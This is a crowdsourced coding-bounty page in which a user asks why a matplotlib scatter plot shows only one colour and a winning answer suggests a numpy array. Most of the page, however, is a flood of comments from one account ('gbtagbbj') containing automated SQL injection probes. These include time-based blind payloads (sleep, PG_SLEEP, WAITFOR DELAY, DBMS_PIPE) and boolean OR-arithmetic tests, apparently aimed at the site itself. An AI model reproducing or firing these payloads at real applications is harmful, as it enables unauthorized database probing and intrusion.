Python matplotlib not showing different colours in scatterplot
New here? Learn about Bountify and follow @bountify to get notified of new bounties! x

Having problems showing different colours on a scatter plots.

If a color is NOT specified the scatterplot shows different colors.

If a specific color is specified the scatterplot shows a single color.

How can I use the color specified in the [] pcolors.

Thanks.

import matplotlib.pyplot as plt
import random
pcolors = ['tab:blue','tab:orange']
vendors = {'ibm':0,'wipro':1,'tcs':2}
cats = {'a','b'}

for v in vendors:
    pol  = [x*0.5 + random.randint(0,3) for x in range(0,5)]
    sub  = [x*0.5 + random.randint(0,3) for x in range(0,5)]    
    for i,c in enumerate(cats):
        """ """
        #plt.scatter(pol,sub,s=60)              # shows different colors
        plt.scatter(pol,sub,s=60,c=pcolors[i])  # shows only 1 color
plt.show()
VLJFqe1V
gbtagbbj 4 months ago
-1 OR 2+951-951-1=0+0+0+1
gbtagbbj 4 months ago
-1 OR 3+951-951-1=0+0+0+1
gbtagbbj 4 months ago
1 RLIKE (SELECT (CASE WHEN (707=707) THEN 1 ELSE 0x28 END)) --
gbtagbbj 4 months ago
-1 OR 2+468-468-1=0+0+0+1 --
gbtagbbj 4 months ago
-1 OR 3+468-468-1=0+0+0+1 --
gbtagbbj 4 months ago
-1 OR 2+795-795-1=0+0+0+1
gbtagbbj 4 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 4 months ago
-1 OR 3+795-795-1=0+0+0+1
gbtagbbj 4 months ago
-1' OR 2+485-485-1=0+0+0+1 --
gbtagbbj 4 months ago
-1' OR 3+485-485-1=0+0+0+1 --
gbtagbbj 4 months ago
-1' OR 2+484-484-1=0+0+0+1 or 'GwxT5ijb'='
gbtagbbj 4 months ago
-1' OR 3+484-484-1=0+0+0+1 or 'GwxT5ijb'='
gbtagbbj 4 months ago
-1" OR 2+885-885-1=0+0+0+1 --
gbtagbbj 4 months ago
-1" OR 3+885-885-1=0+0+0+1 --
gbtagbbj 4 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 4 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 4 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 4 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 4 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 4 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 4 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 4 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 4 months ago
sSQ5GQwC'
gbtagbbj 4 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 4 months ago
-5 OR 422=(SELECT 422 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
asKVuA31'
gbtagbbj 4 months ago
-5) OR 188=(SELECT 188 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-5 OR 398=(SELECT 398 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-1)) OR 91=(SELECT 91 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-5) OR 970=(SELECT 970 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
5XKvGbmU' OR 103=(SELECT 103 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-1)) OR 698=(SELECT 698 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
HtL9BfPs') OR 967=(SELECT 967 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
J6IDWsmo' OR 489=(SELECT 489 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
J57yXE0m')) OR 666=(SELECT 666 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
PDmhA4Ur') OR 404=(SELECT 404 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
1*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 4 months ago
HFstPnqp')) OR 740=(SELECT 740 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
1'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 4 months ago
1*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 4 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 4 months ago
1'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 4 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 4 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 4 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 4 months ago
-1 OR 2+595-595-1=0+0+0+1 --
gbtagbbj 4 months ago
-1 OR 3+595-595-1=0+0+0+1 --
gbtagbbj 4 months ago
-1 OR 2+749-749-1=0+0+0+1
gbtagbbj 4 months ago
-1 OR 3+749-749-1=0+0+0+1
gbtagbbj 4 months ago
-1' OR 2+962-962-1=0+0+0+1 --
gbtagbbj 4 months ago
-1' OR 3+962-962-1=0+0+0+1 --
gbtagbbj 4 months ago
-1' OR 2+169-169-1=0+0+0+1 or 'yGb4JH65'='
gbtagbbj 4 months ago
-1' OR 3+169-169-1=0+0+0+1 or 'yGb4JH65'='
gbtagbbj 4 months ago
-1" OR 2+655-655-1=0+0+0+1 --
gbtagbbj 4 months ago
-1" OR 3+655-655-1=0+0+0+1 --
gbtagbbj 4 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 4 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 4 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 4 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 4 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 4 months ago
WOK7n8q5'
gbtagbbj 4 months ago
-5 OR 710=(SELECT 710 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-5) OR 680=(SELECT 680 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-1)) OR 685=(SELECT 685 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
q9zkqTTN' OR 159=(SELECT 159 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
dmMhUj7O') OR 30=(SELECT 30 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
O6tv6FlH')) OR 384=(SELECT 384 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
555*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 4 months ago
555'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 4 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 4 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 4 months ago
-1 OR 2+587-587-1=0+0+0+1 --
gbtagbbj 4 months ago
-1 OR 3+587-587-1=0+0+0+1 --
gbtagbbj 4 months ago
-1 OR 2+361-361-1=0+0+0+1
gbtagbbj 4 months ago
-1 OR 3+361-361-1=0+0+0+1
gbtagbbj 4 months ago
-1' OR 2+697-697-1=0+0+0+1 --
gbtagbbj 4 months ago
-1' OR 3+697-697-1=0+0+0+1 --
gbtagbbj 4 months ago
-1' OR 2+125-125-1=0+0+0+1 or 'g3rzskdJ'='
gbtagbbj 4 months ago
-1' OR 3+125-125-1=0+0+0+1 or 'g3rzskdJ'='
gbtagbbj 4 months ago
-1" OR 2+23-23-1=0+0+0+1 --
gbtagbbj 4 months ago
-1" OR 3+23-23-1=0+0+0+1 --
gbtagbbj 4 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 4 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 4 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 4 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 4 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 4 months ago
LYbJKoBa'
gbtagbbj 4 months ago
-5 OR 75=(SELECT 75 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-5) OR 650=(SELECT 650 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-1)) OR 199=(SELECT 199 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
8cowrWiO' OR 223=(SELECT 223 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
a8zN1yBa') OR 800=(SELECT 800 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
xakFXt4r')) OR 569=(SELECT 569 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 4 months ago
'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 4 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 4 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 4 months ago
awarded to Franco
Tags
python3

Crowdsource coding tasks.

1 Solution

Winning solution

Use a numpy.array to specify the colors you want to use.

Code: https://wtools.io/paste-code/bCab

NOTE: With this solution it is possible to use only 5 colors. It's not clear from the description of the bounty how many colors you want to use.

Works great thanks!
broadreach 5 months ago
-1 OR 2+386-386-1=0+0+0+1 --
gbtagbbj 4 months ago
-1 OR 3+386-386-1=0+0+0+1 --
gbtagbbj 4 months ago
-1 OR 2+60-60-1=0+0+0+1
gbtagbbj 4 months ago
-1 OR 3+60-60-1=0+0+0+1
gbtagbbj 4 months ago
-1' OR 2+891-891-1=0+0+0+1 --
gbtagbbj 4 months ago
-1' OR 3+891-891-1=0+0+0+1 --
gbtagbbj 4 months ago
-1' OR 2+458-458-1=0+0+0+1 or 'EN6rRTP9'='
gbtagbbj 4 months ago
-1' OR 3+458-458-1=0+0+0+1 or 'EN6rRTP9'='
gbtagbbj 4 months ago
-1" OR 2+86-86-1=0+0+0+1 --
gbtagbbj 4 months ago
-1" OR 3+86-86-1=0+0+0+1 --
gbtagbbj 4 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 4 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 4 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 4 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 4 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 4 months ago
1aApzhTW'
gbtagbbj 4 months ago
ipVAB2Ib' OR 675=(SELECT 675 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
VmwxyMJA') OR 145=(SELECT 145 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
PDgVuqXU')) OR 599=(SELECT 599 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
e'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 4 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 4 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 4 months ago
XmiLqWE9
gbtagbbj 4 months ago
-1 OR 2+202-202-1=0+0+0+1
gbtagbbj 4 months ago
-1 OR 3+202-202-1=0+0+0+1
gbtagbbj 4 months ago
555 RLIKE (SELECT (CASE WHEN (276=276) THEN 1 ELSE 0x28 END)) --
gbtagbbj 4 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 4 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 4 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 4 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 4 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 4 months ago
Meo6nT4n'
gbtagbbj 4 months ago
-5 OR 283=(SELECT 283 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-5) OR 960=(SELECT 960 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-1)) OR 351=(SELECT 351 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
BWAD2Bza' OR 623=(SELECT 623 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
KdHfHDBh') OR 150=(SELECT 150 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
fEJlg7Xf')) OR 298=(SELECT 298 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
555*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 4 months ago
555'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 4 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 4 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 4 months ago
-1 OR 2+771-771-1=0+0+0+1 --
gbtagbbj 4 months ago
-1 OR 3+771-771-1=0+0+0+1 --
gbtagbbj 4 months ago
-1 OR 2+364-364-1=0+0+0+1
gbtagbbj 4 months ago
-1 OR 3+364-364-1=0+0+0+1
gbtagbbj 4 months ago
-1' OR 2+720-720-1=0+0+0+1 --
gbtagbbj 4 months ago
-1' OR 3+720-720-1=0+0+0+1 --
gbtagbbj 4 months ago
-1' OR 2+654-654-1=0+0+0+1 or 'gfV0ZsD0'='
gbtagbbj 4 months ago
-1' OR 3+654-654-1=0+0+0+1 or 'gfV0ZsD0'='
gbtagbbj 4 months ago
-1" OR 2+674-674-1=0+0+0+1 --
gbtagbbj 4 months ago
-1" OR 3+674-674-1=0+0+0+1 --
gbtagbbj 4 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 4 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 4 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 4 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 4 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 4 months ago
oa06DzZq'
gbtagbbj 4 months ago
-5 OR 662=(SELECT 662 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-5) OR 448=(SELECT 448 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-1)) OR 725=(SELECT 725 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
iN2xxQht' OR 426=(SELECT 426 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
3Eh1NiIS') OR 81=(SELECT 81 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
FTMGrmh5')) OR 878=(SELECT 878 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 4 months ago
'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 4 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 4 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 4 months ago